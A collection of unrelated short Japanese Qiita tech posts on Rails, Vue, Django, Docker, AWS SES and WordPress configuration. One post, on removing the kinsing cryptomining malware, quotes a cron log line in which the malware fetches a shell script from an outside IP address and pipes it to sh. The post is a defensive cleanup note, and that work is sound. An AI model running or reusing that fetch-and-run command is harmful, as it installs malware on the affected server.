OmniAICreator/Qiita-1.07M huggingface dataset:
RailsのDeleteメソッドでuninitialized constant Faraday::Error::ConnectionFailed

結論、ローカル環境でelasticsearchを起動していないことが原因だった。

![スクリーンショット 2021-02-18 19.13.21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/242610/fd9e2d34-6e8c-a924-037c-917551e86dc9.png)

## メソッドとルート
```erb
    <%= link_to "削除", "/platforms/#{platform.id}/", method: :delete %>
```

```console
$ rails routes
                         new_platform GET      /platforms/new(.:format)                                                                 platforms#new
                        edit_platform GET      /platforms/:id/edit(.:format)                                                            platforms#edit
                             platform PATCH    /platforms/:id(.:format)                                                                 platforms#update
                                      PUT      /platforms/:id(.:format)                                                                 platforms#update
                                      DELETE   /platforms/:id(.:format)                                                                 platforms#destroy
                                      GET      /platforms/:id(.:format)                                                                 platforms#show
```

ルートは正しい（`/new`や`/edit`と違って`/destroy`や/deleteと誤タイプしないように注意）。

ログを良く見たら、エラーの原因は使っている`searchkick`のもととなるelasticsearchを起動していないことが原因だった‥。データが更新されたときに再インデックスが走るようにしていたが、destroyでもこれが呼ばれるために起こったようだ。

```c
> Platform Store (28.3ms)  {"id":138,"exception":["NameError","uninitialized constant Faraday::Error::ConnectionFailed\nDid you mean?  Faraday::ConnectionFailed"],"exception_object":"uninitialized constant Faraday::Error::ConnectionFailed\nDid you mean?  Faraday::ConnectionFailed"}
Completed 500 Internal Server Error in 42ms (Searchkick: 28.3ms | ActiveRecord: 4.7ms | Allocations: 10950)


  
NameError (uninitialized constant Faraday::Error::ConnectionFailed
Did you mean?  Faraday::ConnectionFailed):
```
マルウェア kinsing(kdevtmpfsi) 削除方法

# はじめに
仮想通貨をマイニングするマルウェア kinsing(kdevtmpfsi)に感染していたため、削除するための手順を記録します。

#### CPU使用率99%！
![CPU使用率99%.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/229587/de10d040-7c04-9ac4-db0d-5c6a2d8b1a24.png)


# 削除方法
### cron無効化
1分置きに定期実行されているcronを削除・再作成して、使えないようにします。

```
rm /var/spool/cron/apache
mkdir /var/spool/cron/apache
chmod 755 /var/spool/cron/apache
```

### マルウェアファイル検索
```
find / -name kdevtmpfsi
find / -name kinsing
```

いくつかのディレクトリから対象のファイルが見つかります。
私の場合は以下の5ディレクトリ

* /tmp
* /tmp/systemd-private-*
* /var/tmp
* /var/tmp/systemd-private-*
* /dev/shm

### マルウェアファイル無効化
ファイル検索で見つかったマルウェアファイル（kdevtmpfsiとkinsing）を削除・再作成して、使えないようにします。

```
rm ./kdevtmpfsi
touch ./kdevtmpfsi
chmod 644 ./kdevtmpfsi

rm ./kinsing
touch ./kinsing
chmod 644 ./kinsing
```

kdevtmpfsi○○というファイルがたくさん見つかった場合、全削除します。

```
rm -rf ./kdevtmpfsi*
```

### プロセス削除
検索して出てきたプロセスをkillします。

```
ps -ef | grep kdevtmpfsi
kill 9999
```

# おわりに
ちなみにcronのログには怖そうなログがたくさん出ていました。


```
vi /var/log/cron
```

```
日付 CROND[21134]: (apache) CMD (wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1)
日付 crond[18693]: (apache) INFO (Job execution of per-minute job scheduled for 14:13 delayed into subsequent minute 14:15. Skipping job run.)
```



# 参考サイト
* https://stackoverflow.com/questions/60151640/kdevtmpfsi-using-the-entire-cpu
footerってコンポーネントを作ったら怒られた

#概要
```router.js
//色々省略
import Footer from "./components/common/Footer";
Vue.component('footer', Footer);
```

```index.html
<body>
    <div id="app">
        <header-component></header-component>
        <router-view></router-view>
        <footer></footer>
    </div>
</body>
```

footerというコンポーネントを作ったら以下のエラーが出ました。

```
Do not use built-in or reserved HTML elements as component id: footer
```

#解決策
`footer`はデフォルトの要素にあるので、コンポーネント名として使えないみたいです(よく考えたら当たり前だった)。

同様の理由で、`button`や`input`なども使えないです。

```router.js
//色々省略
import Footer from "./components/common/Footer";
Vue.component('footer-component', Footer);
```

```index.html
<body>
    <div id="app">
        <header-component></header-component>
        <router-view></router-view>
        <footer-component></footer-component>
    </div>
</body>
```

#参考文献
[reactからvueにお引っ越ししてみる(後篇)
](https://qiita.com/umema4/items/68f10dabf5e79c235c08)
Docker 内でファイルから PostgreSQL クエリ叩く

適当にファイルを作っておくとする、たとえば

- create_tables.sql
- init.sql


```bash
$ docker run --rm --name sample -e POSTGRES_PASSWORD=root -v (pwd):/myapp postgres:12.5
$ docker exec -it sample bash -c "cd /myapp && psql -U postgres"

postgres=# \dt
postgres=# \i create_tables.sql
postgres=# \i init.sql
```
AWS SESとnodemailerを使い、VPC内からSMTPメールを送信する。

# やりたかったこと
AWS SDKを使ったメール送信システムはVPCエンドポイントに対応していなかったので、Node.jsのnodemailerを使い、VPC内からSMTPメールを送信したかった。

# 大まかな手順
1.VPCエンドポイントを作成する
2.Amazon SES SMTP認証情報を取得する
3.nodemailerを使い、メール送信部分を構築する

# 1.VPCエンドポイントを作成する
こちらに関しては、AWSの公式を読んだ方がわかりやすいと思います。
https://docs.aws.amazon.com/ja_jp/ses/latest/DeveloperGuide/send-email-set-up-vpc-endpoints.html

作成するエンドポイントのサービス名は「com.amazonaws.us-west-2.email-smtp」![スクリーンショット 2021-02-18 18.14.57 2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/587091/a3ea0ef3-0542-6906-d8ff-b64dd626f3a5.png)
エンドポイント作成時に表示されるこの箇所で検索すると、一発で出てきます。
リージョンの部分は、各々が利用されるリージョンで置き換えてください。

VPCエンドポイントが作成できたら、次は認証情報を取得します。


# 2.Amazon SES SMTP認証情報を取得する
ここも、AWSの公式を見てもらえばすぐにできます。

https://docs.aws.amazon.com/ja_jp/ses/latest/DeveloperGuide/smtp-credentials.html

後ほどnodemailerの記述の中でUserNameとPasswordを読み込みますが、その際はこの認証情報を取得した際の「アクセスキー」と「パスワード」を使用します。キーはダウンロードしておくのがおすすめです。


# 3.nodemailerを使い、メール送信部分の構築
上記２つの準備ができたら、nodemailerを使った構築に移ります。

まずは実際に実装したコードを載せさせていただきます。
<br>

```typescript:nodemailer.ts
import { createTransport } from 'nodemailer';

// smtpの設定定義
const smtpEndpoint = process.env.IS_OFFLINE ? "email-smtp.us-west-2.amazonaws.com" : process.env.SMTP_ENDPOINT;
const port = 587;
const smtpUsername = process.env.SES_USER;
const smtpPassword = process.env.SES_PASSWORD;

// メール送信の根幹部分
export async function SendMail() {

  // SMTPサーバの設定
  const smtp = createTransport({
    host: smtpEndpoint,
    port: port,
    secure: false,
    auth: {
      user: smtpUsername,
      pass: smtpPassword
    }
  });

  const message = {
    from: "example@example.co.jp",  // 送信元名
    to: "example@example.co.jp",    // 送信先
    subject: "送信テスト",            // 件名
    text: "送信テストです",            // 通常のメール本文
  };

  let info = await smtp.sendMail(message)
  console.log("Message sent! Messsage ID: ", info.messageId)
} 
```
<br>
メール送信部分はこれだけで実装できます。
<br>

```typescript:nodemailer.ts一部抜粋

// smtpの設定定義
const smtpEndpoint = process.env.IS_OFFLINE ? "email-smtp.us-west-2.amazonaws.com" : process.env.SMTP_ENDPOINT;
const port = 587;
const smtpUsername = process.env.SES_USER;
const smtpPassword = process.env.SES_PASSWORD;
```

この部分だけ少し説明をすると、

smtpEndpointについては、ローカル環境で実行する場合、エンドポイント「email-smtp.us-west-2.amazonaws.com」でメール送信できたのですが、本番環境で実行するとメール送信が動きませんでした。そのため、本番環境では、環境変数に設定したエンドポイント「vpce-xxxxxxxxxxxx.email-smtp.us-west-2.vpce.amazonaws.com」を指定するとメール送信がうまくできました。

おそらく、前者のエンドポイントだけではVPCを介したエンドポイントに繋がっていなかったと考えられます。
※この部分について謝りがあればご指摘ください🙇‍♂️
<br>
次に今回の例では、STARTTLS接続でSMTPエンドポイントに接続しているため、ポート番号は「587」で設定しています。

※SMTPエンドポイント接続についてはコチラ
https://docs.aws.amazon.com/ja_jp/ses/latest/DeveloperGuide/smtp-connect.html
<br>
最後に、「smtpUsername」と「smtpPassword」についてですが、ここは先ほどSMTP認証した際に取得したアクセスキーとパスワードが当てはまりますので、環境変数に設定して読み込んでください。
<br>
以上の設定が終われば、AWS SESとnodemailerを使い、VPCを介したメール送信ができるはずです。
※肝心な箇所が抜けていたら、ご指摘いただけると幸いです🙇‍♂️

# 最後に
僕が実装していた時はエンドポイントの接続で詰まってしまい時間を要しましたが、半日あれば十分実装できると思います。
メール送信部分に関しては、各々で作成されているAPIを走らせるメソッドに組み込んじゃってください。

なお、昨年の夏頃？には東京リージョンにもSESが来たみたいですので、そちらもまた設定していこうと考えています。
<br>
追伸　AWSの公式をしっかり読めば、大抵のことは実装できるんだなと実感しました。
インスタンスメソッドとクラスメソッド

インスタンスメソッド
==
+ 生成されたインスタンスが使用可能
+ インスタンスで管理したい情報の処理に使用


```ruby
class クラス名
　def メソッド名
　　処理
　end
end
```

クラスメソッド
==

+ クラス自信が使用可能
+ クラスで共通の情報を使った処理に使用

```ruby
class クラス名
  def self.メソッド名
    処理
  end
end
```
READMEをVScodeで見るために

初めまして！
ただいまスクールでオリジナルアプリを作成しています。
初心者ですが、自分のアウトプットのために記事を投稿して行きたいと思います！
宜しくお願いいたします。

## MacOSなら・・・READMEを開いて、<font color="DeepPink">[Shift]+[Command]+[V]
## Windowsなら・・・READMEを開いて、<font color="LightCoral">［Ctrl］＋［Shift］＋［V］
オリジナルアプリを作る上で、どんなアプリか説明をREADMEにまとめますが、その際に毎回githubに
コミットしてあげるのがめんどくさくて調べたらこんなコマンドが・・。

これをすることで、
<a href="https://gyazo.com/b5d5348a7ad50d7e864b4252dd0ee02e"><img src="https://i.gyazo.com/b5d5348a7ad50d7e864b4252dd0ee02e.png" alt="Image from Gyazo" width="1002"/></a>

と、別タブでプレビューが見れるように！

ちなみに画像はMacOSです。
Windowsでは未確認ですので、参考程度に。。

以上！！
【Rails】【gem nested_form】link_to_addで動的に追加した要素にJSを反映させる方法

#結論
nested_formを使用しているページに、以下のJSを記述します。

```javascript
    $(document).on('nested:fieldAdded', function(event){
      // ここに要素追加後に実行したい処理を書く
    })
```

#もう少し詳しく

以下のようにして、本当に追加後に処理が実行されるか試してみてください。

```javascript
    $(document).on('nested:fieldAdded', function(event){
      // 試しにアラートできるかどうかやってみる
      alert('要素が追加されました');
    })
```
Xplenty : Salesforceコネクション Q&A


#Q1. Xplentyで使用するAPIは?
「Bulk API」です。

#Q2. データソース/デスティネーション（送信先）としてカスタムオブジェクトを指定することは可能ですか?
指定できます。

#Q3. SOQLは使えますか？
デフォルトは「Object」となっていますが、「Query」に変更することで、SOQLを使用できます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/65461/eb24731c-5298-0eeb-2e0f-3734ca694c3e.png)

##ヒント：Salesforceのオブジェクトで日付フィルタを指定する方法
またオブジェクトを指定した場合も、SOQLベースのフィルタ条件を設定可能です。

###固定値の場合
フィルタをかける対象のフィールドが日付型の場合、シングルクォートなしで設定ください。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/65461/ed744c8c-0bac-5d7e-e62d-48dc89c07570.png)

###変数を使用する場合
####1) ２時間前以降のデータを取得する
**変数名：** two_hours_ago 
**変数式：** SubtractDuration(CurrentTime(),'PT2H')

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/65461/017c2729-231c-9951-6098-ba1266cff86d.png)


####2) 現在日付（日本時間）の0時以降のデータを取得する
変数式：
まず日本時間の現在日付のの0時を取得し、そこから-9時間(UTC)に変換する。
`SubtractDuration(ToDate(ToString(SwitchTimeZone (CurrentTime(),'Asia/Tokyo') ,'yyyy-MM-dd\'T\'00:00:00.000')),'PT9H')`


#Q5. Salesforceが[Destination（送信先）](https://www.xplenty.com/docs/using-components-salesforce-destination/)の場合： 更新方法について
- **Insert**：レコードの追加のみ
- **Upsert**：レコードの追加/更新（Upsert KeyのIDを設定し、既存レコードがあった場合には、そのレコードを上書き）
- **Delete**：Key列を指定し、一致するレコードを削除<BR>
**データの追加、更新の目的ではなく、レコードの削除を行いたい場合に使う**

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/65461/646b9b69-fb0b-2520-9311-25831d6e1342.png)

**列のマッピング**
※関連オブジェクト（REFFERENCED OBJECT）を自動的に検知します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/65461/ff1440e1-3d39-eaca-e972-191ea16cd3f1.png)

#Q5. SalesforceがDestination（送信先）の場合： オブジェクトの既存レコードの一部のフィールドのみを更新することは可能ですか？**
例）商談オブジェクトの案件の確度（Probability）を更新する場合
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/65461/dd4716b7-b893-9322-f5e2-02f888f328b2.png)
この場合、ジョブは以下のように動作します。

- **オブジェクトに指定した商談IDのデータがある場合:** 対象のレコードを更新
- **オブジェクトに指定した商談IDのデータがない場合:** エラー

#Q6. SalesforceがDestination（送信先）の場合： エラー判定の制御について
ジョブ全体で許容できるエラーレコード件数は、「**Maximum errors**」の値で制御可能です。ちなみに、「**Batch size**」とは一回の処理で扱うレコード数ですが、エラー数はBatch sizeに関係なく、処理全体でエラーとなったレコード数がどれくらいあったかと許容できる最大エラー数の値を比較し、ジョブの結果がエラーかどうか判定します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/65461/10adc1d1-2eb3-41c2-b2f5-5af4d3e4f891.png)


|シナリオ |エラー最大数 |ジョブの結果  |備考|
|---|---|---|---|
|10件中1件失敗した場合 |0 |エラー |最大エラー数0 < 実際のエラー件数1|
|10件中1件失敗した場合 |1 |成功 |最大エラー数1 **=** 実際のエラー件数1|
|10件中2件失敗した場合 |1 |エラー  |最大エラー数1 < 実際のエラー件数2|
|10件中8件失敗した場合 |10 |成功  |最大エラー数10 **>** 実際のエラー件数8|

DBの場合は、更新に成功したレコードもロールバックされますが、Salesforceの場合は、APIの特性上、ロールバックされないので注意が必要です。[詳細はこちら](https://developer.salesforce.com/docs/atlas.ja-jp.api_asynch.meta/api_asynch/asynch_api_batches_failed_records.htm)

#Q7. SalesforceがDestination（送信先）の場合： バッチサイズ(Batch size)の設定によるAPI制限の回避
[Salesforceのドキュメント](https://developer.salesforce.com/docs/atlas.ja-jp.api_asynch.meta/api_asynch/asynch_api_concepts_limits.htm)によると１バッチの最大数が10,000 レコードとなっているので、API制限にお困りの場合、バッチサイズをなるべく大きな数値に設定することでAPI制限を回避することが可能になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/65461/59e0202b-34d6-f454-f7f7-1bb1adcea6ef.png)
beforeDestroyにclearInterval書いてるのにクリアされない場合がある

Nuxt.jsで開発をしており、
setIntervalで定期的にapi通信をするように書いていました。
そして、beforeDestroyにclearInterval書いてるのに、違うページに遷移したあとも、apiが呼ばれ続けている？？？
という現象に遭遇しました。

## 先に解決策を
setIntervalを、mountedではなくcreatedに書きました。
※これで本当に解決出来たのか確信がないです。わかる方いたら教えてください。m(_ _)m

```js
export default {
  data() {
    return {
      intervalId: null,
    };
  },
  created() {
    this.intervalId = setInterval(async () => {
      // api通信の記述
    }, 10000);
  },
  beforeDestroy() {
    clearInterval(this.intervalId);
  },
}
```

## 何が起きていて、どうしたのか
まず、beforeDestroyのclearInterval自体は、クリアしたりクリアしていなかったりで、必ずクリアされないというわけではありませんでした。

再現方法を探っていくうちに、そのページにアクセスして、すぐに違うページにアクセスするとクリアされないことがある、ということがわかりました。

修正前のsetIntervalは、mountedに書いていました。
また、そもそも設計が良くないのかもしれないですが・・
このsetIntervalでアクセスするapiは、その前にapiで取得したデータの一部をパラメーターに渡す必要があり、

mounted
↓
api通信
↓
setIntervalで定期的なapi通信開始

という手順の処理でした。

各処理の開始や終了などにコンソールを入れ、いろいろみてみると、
なんと、mountedの処理が完了する前にbeforeDestroyが呼ばれるときもあり、その後のmountedの処理は中断されることなく実行していました。
（beforeDestroyのclearIntervalの処理が行われたあと、setIntervalの処理が行われidが付与されていたので、setIntervalはクリアされていなかった）

なるほど、
Vue.jsのライフサイクル関連で、そのようなことが書いてあるものは見かけたことがなかったのでそういう可能性というのを考えていませんでしたが、そういうことなのでしょう。

上記では、createdに移動することで解決したと書きましたが、mountedのawaitの処理より先に書くのでも、良いかもしれません。

ただ、
mountedの処理が完了する前にbeforeDestroyが呼ばれる場合がある（処理は中断されない）、というのはわかりましたが、
createdの処理が必ずbeforeDestroyより先に行われるのか、というのがわかっていません。

そう考えると、intervalIdはページ内で持たないほうが良いのか？
storeを活用すべき？
でしょうか？

mountedに処理を書いていたとき、違うページに遷移したあとにも実行され続けているsetIntervalをクリアする方法はなく、、ブラウザを閉じたり画面を更新するまでずっと呼ばれ続けるっぽいです。

そこそこ調べましたが、この辺りについて書いている記事は見つからず、何が最適なのかはわかっていません。
Vue-CLIダウンロード方法

Vue-CLIをダウンロードするまで苦労したので、その方法を備忘録を兼ねて記載しておきます。

Vue.jsにおいて、実際のアプリを開発する際は.vueの形式でコードを記載していくことになります。

最終的には複数のVueファイルから単一のコンポーネントを作成し、本番環境にデプロイしていくことになり、Vue-CLIを使うことで、素早く本番環境にデプロイすることができます。
<br>
# Vue-CLIとは？
Vue-CLIとはコマンドラインを使って、アプリ開発の際に使用するコンポーネントを提供してくれるツールです。
プロジェクトで利用する機能を一緒にダウンロードしてくれるので直ぐに開発を始められることができます。

# Vue-CLIのインストール手順

Vue-CLIを利用する為にはVue-CLIをインストールする必要があり、npmが使用できる環境で、下記コマンドを実行することで、インストールすることができます。

```
npm install -g @vue-cli
```
<br>
Vue-CLIが問題なくインストールされていれば、下記コマンドを実行することでVue-CLIのバージョンを確認することができます。

```
vue --version
```
<br>
すでにVue-CLIをインストール済みで、最新版にアップデートしたい場合は

```
npm update -g @vue/cli
```

となります。
<br>
Vue-CLIのインストールが完了したら、プロジェクトの作成を行います。プロジェクトの作成には下記コマンドを実行します。vue createの後には自身で考えたファイル名を記載します。
今回はVue-appと記載しましょう。


```
vue create Vue-app
```
<br>
presentを選択するコマンドが現れるので、デフォルトのdefault(babel, eslint)を選択します。

```
Vue CLI v4.4.6
? Please pick a preset:
❯ default (babel, eslint)
  Manually select features
```
<br>
もしマニュアルを選択すると、下記のような表示が現れて、必要な機能を選択することができます。

```
Vue CLI v4.4.6
? Please pick a preset: Manually select features
? Check the features needed for your project: (Press <space> to select, <a> to t
oggle all, <i> to invert selection)
 ◉ Babel
 ◯ TypeScript
❯◯ Progressive Web App (PWA) Support
 ◯ Router
 ◯ Vuex
 ◯ CSS Pre-processors
 ◉ Linter / Formatter
 ◯ Unit Testing
 ◯ E2E Testing
```
<br>
さらにnpm run serveとnpm run buildを実行することで、本番環境にデプロイすることができます。

```
$ npm run serve

 DONE  Compiled successfully in 2515ms                                                                          15:19:27


  App running at:
  - Local:   http://localhost:8080/
  - Network: http://192.168.2.111:8080/

  Note that the development build is not optimized.
  To create a production build, run npm run build
```

LocalとNetworkの2つのURLが表示されます。
ブラウザで「 Local: http://localhost:8080/ 」にアクセスします。

この画面が表示されたらプロジェクトの作成は完了でVueも正常に動作しています。
<br>
【Django】createprojectした後にやることまとめ

#最初のマイグレーション

```
python manage.py migrate
```

# スーパーユーザー作成

```powershell
python manage.py createsuperuser
```
設定するもの
- ユーザー名
- メールアドレス(任意)
- パスワード

# アプリケーション作成

1.`python manage.py startapp [アプリ名]`でアプリを作成

```powershell
python manage.py startapp todo
```

2.作成したアプリケーションを`settings.py`に認識させる

```settings.py
INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    # My App
    'todo', # ←作成したアプリ名を追加
]
```

# テンプレートの登録(templatesフォルダ)
1.  manage.pyと同じ階層に`templates`フォルダを作成
2.  `templates`フォルダを`settings.py`に認識させる

```settings.py
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [os.path.join(BASE_DIR, 'templates')], # 編集箇所
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]
```
## templatesフォルダ内に`base.html`と作成したアプリケーションと同じ名前のフォルダを作成
### 手順
1. templates内にbase.htmlファイル作成
下がサンプル(bootstrap 付き)

```base.html
{% load staticfiles %}
<!DOCTYPE html>

<html lang="en">

<head>
    <title>Hello Django</title>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <!-- Your CSS -->
    <link rel="stylesheet" href="{% static "css/style.css" %}">
    
    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
</head>

<body>
    <nav class="navbar navbar-dark bg-dark">
        <!-- Navbar content -->
        <a class="navbar-brand" href="#">To Do App</a>
    </nav>
    <div class="container">
        {% block content %}
        {% endblock content %}
    </div>

    <!-- Bootstrap JS -->
    <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</body>

</html>
```


# staticファイル等の設定(staticフォルダ)
1. manage.pyと同じ階層に`static`フォルダを作成
2. `templates`フォルダを`settings.py`に認識させる

```settings.py
STATIC_URL = '/static/'

# 下の3行を追加
STATICFILES_DIRS = ( 
    os.path.join(BASE_DIR, 'static'),
)
```

# データベースの接続(PostgreSQLの場合)
参考記事:[仮想環境でDjangoとPostgreSQLを5分で接続する方法](https://qiita.com/juchilian/items/955349b03b9c99648727)
【Rails】ActiveStorage Validator

# はじめに
ActiveStorageを利用したファイルアップロード時に特定のファイル形式のみ許可するため、バリデーション設定が必要になりました。
調べたところ[activestorage-validator](https://github.com/aki77/activestorage-validator)というGemがありました。簡単にですが、利用した内容について纏めます。

# 実行環境
- rails 6.0.0
- ruby 2.5.6

# 実施内容
#### Gemをインストール

```
gem 'activestorage-validator'
```

#### モデルへバリデーション記述

```
class User < ApplicationRecord
  has_one_attached :video

  with_options presence: true do
    validates :name
    validates :video, blob: { content_type: ['audio/mpeg', 'audio/x-wav', 'audio/flac', 'audio/ogg', 'video/mp4', 'video/webm'] }
  end
end
```

`has_one_attached`でファイルとレコードの間に1対1のマッピングを設定、
`content_type`で許可するファイル形式を指定します。
※今回はmp3,wav,flac,ogg,mp4,webm形式のファイルを許可

### バリデーション確認

上記形式以外のファイルをアップロードするとバリデーションがかかり以下の通り、エラー出力されました。

```
Video is not a valid file format
```

# まとめ
activestorage-validatorを利用して簡単にバリデーションの設定をすることができました。今回はファイル形式のみ設定を行いましたが、ファイルサイズのバリデーションが設定できる様です。用途に応じて利用したいと思います。


# 参考
https://github.com/aki77/activestorage-validator
AWS ELB + EC2構成時のWordPressのリダイレクトループ

# .htaccessの問題

## 原因

Webサーバーが通信を処理する際、Webサーバーは非SSLでの通信を受けることになります。.htaccessに下記のような記載がある場合、リダイレクトループが発生してしまう可能性があります。

```.htaccess
(NG記載)
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [R,L]
```

## 対応方法

%{HTTP:X-Forwarded-Proto}で判断させることで、クライアントがELB宛にhttpで接続しているかhttpsで接続しているかを区別することができます。

```.htaccess
(推奨の記載)
RewriteEngine On
RewriteCond %{HTTP:X-Forwarded-Proto} =http
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [R,L]
```

# WordPressがhttpsにリダイレクトさせようとしてしまう問題

## 原因

SSL化したWordPressを表示する際、WordPressのプログラムがhttpで通信を受けたと勘違いして、css等の読み込みをhttpで実施しようとしてしまう可能性があります。トップページをhttps、css等をhttpで読み込んでも、ブラウザでエラーが出ることがあります。

## 対応方法

(2019年2月25日現在)デフォルトでは、WordPressにはクライアントがELB宛の接続をhttpsで行っているかどうかをチェックする仕組みがありません。クライアントがhttpsでアクセスしているかどうかをPHP側でもチェックさせて、httpsであれば環境変数にもhttpsで接続されている旨を入れてしまいます。

```wp-config.php
define('FORCE_SSL_ADMIN', true);
if ( ! empty( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' ) {
       $_SERVER['HTTPS']='on';
}
```

参考サイト > [AWS ELB + EC2構成時のWordPressのリダイレクトループの原因と対応方法](https://technoledge.net/aws-elb-ec2-wordpress-redirect-loop/)
仮想環境立ち上げからDjangoプロジェクトを作成し、runserverするまで

# 仮想環境設定編
## 仮想環境作成
1. pythonをインストール
2. Powershellにて`python -m pip install pipenv`でpipenvをインストール
3. `python -m pipenv install`でpipenvの仮想環境作成
4. `pipenv shell`で仮想環境の起動完了

### 補足
- `pipenv shell`だけで仮想環境がない場合は作成->起動までやってくれる
- 仮想環境を抜けるには`exit`を入力
- 仮想環境を削除したい場合は`pipenv --rm`
- 仮想環境のパスを確認したい場合は`pipenv --venv`

## 次に仮想環境を起動したいとき
1. 前回仮想環境を作った場所まで移動
2. `pipenv shell`で仮想環境立ち上げ

## 仮想環境にパッケージを必要なインストールする方法
`pipenv install [パッケージ名]` でインストールできる

このコマンドを使ってDjangoをインストール
`pipenv install django`

### 補足
- `pipenv install django==2.2`などとすることでバージョン指定ができる
- `pip freeze`を実行することで仮想環境にインストールされているパッケージを一覧表示できる
- ディレクトリ内に`Pipfile`と`Pipfile.lock`が作成されているはず

# Djangoプロジェクト立ち上げ編
## プロジェクト作成
`django-admin startproject [プロジェクト名] [作成場所]`
例 `django-admin startproject myproject1 .`
指定した場所に`manage.py`とプロジェクト名がついたフォルダが作成されていたらOK

## サーバー立ち上げ＆アクセス
1. `python manage.py runserver`でサーバー立ち上げ
2. 実行結果

```powershell
Watching for file changes with StatReloader
Performing system checks...

System check identified no issues (0 silenced).

You have 17 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions.
Run 'python manage.py migrate' to apply them.
February 16, 2021 - 11:36:10
Django version 2.2, using settings 'todoApp.settings'
Starting development server at http://127.0.0.1:8000/
Quit the server with CTRL-BREAK.
```

3. 指定の`http://127.0.0.1:8000/`にアクセス
4. ロケットのマーク見れたら完了！

# 開発に取り掛かる前の下準備
## Gitを使用している際にはやるべき設定
### `.gitignore`ファイルの作成
1. プロジェクト直下に.gitignoreファイルを作成する
2. [gitignore.io](https://www.toptal.com/developers/gitignore)で`Django`を挿入&Enterし、生成されたページを全てコピーして`.gitignore`にペースト

## 環境変数の設定
参考サイト:[【Django】環境変数を効率的に管理する「django-environ」の使い方](https://vector-ium.com/django-environ/)

## VS Codeエディタ使用者がやるべき設定
### 仮想環境自動立ち上げの設定
1. エディタで`manage.py`を開く
2. VScodeの一番下に出てくる`Python 3.8.7 64bit`的なところをクリック
3. 出てくるメニューの中から作成したプロジェクトをクリック
4. 使用している仮想環境のPathが表示されているのをクリック
5. 設定完了(次回以降VSCode内のターミナルを立ち上げたら自動で仮想環境に入ってくれる)
6. 下記画像のようになっていることを確認
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/450257/6857d053-979f-48d0-48e2-b52c8af23ac1.png)
初心者がAWSを使う時のための専門用語の意味集



###この記事で得られること
・AWSによく出てくる言葉の意味や役割が分かる。
・知らん言葉ばっかりで頭に入って来ないという初心者の方にオススメ。

---
###この記事を書いた目的
自分のメモ代わり

---

###参考サイト
AWS入門 初心者が覚えておくべきAWSの基本
https://business.ntt-east.co.jp/content/cloudsolution/column-37.html


---

###AWS専門用語とざっくり解説

###VPC
```
・バーチャルプライベートクラウドの略
・基本的にVPCは必要だけどAWSが自動的に用意してくれている
```


###リージョン
```
・データセンターがある場所
```


###AZ
```
・データセンターのこと
```

###サブネット
```
・でっかいネットワークの中の小さく分割された小規模ネットワーク&範囲
・陣取りみたいなもん（ざっくり）
```

###Amazon EC2
```
・仮想サーバーのこと
```


###インスタンス
```
・AWSクラウドに立てられた仮想サーバーのこと
```

###Elastic（よく出てくる英単語気になって調べてみた）
```
・弾力のあるという意味。柔軟だって言いたいのかな
```

###Amazon EBS
```
・AWS上で操作できる仮想ディスクのこと。
・管理コンソールからEBSボリュームを作って、
それをサーバーインスタンスへ接続・切断できる。
・接続すること=アタッチ
・切断すること=デタッチ
```


###Amazon RDS
```
・Amazonの提供するリレーショナルデータベースのこと
・MySQL, PostgreSQL, Oracle, SQL Serverなどのデータベースを管理画面から設定するだけで構築・設定して利用できる
```

###IAM
```
・AWS上のサービスを操作するユーザーとアクセス権限を管理するやつ
```

###Amazon S3
```
・Amazonが提供するストレージサービス
・バケットとよばれるリソース(入れ物)にデータを保存する
・保存できるデータ量に上限がない
```

###Amazon CloudWatch
```
・AWSが提供するフルマネージド運用監視サービスのこと。
・AWSの各種リソースを監視してくれるサービス
・異常が生じた時にそれをアラートで知らせてくれるだけではなく、自動復旧も可能
・AWS上で監視を行う際には欠かせない存在
```


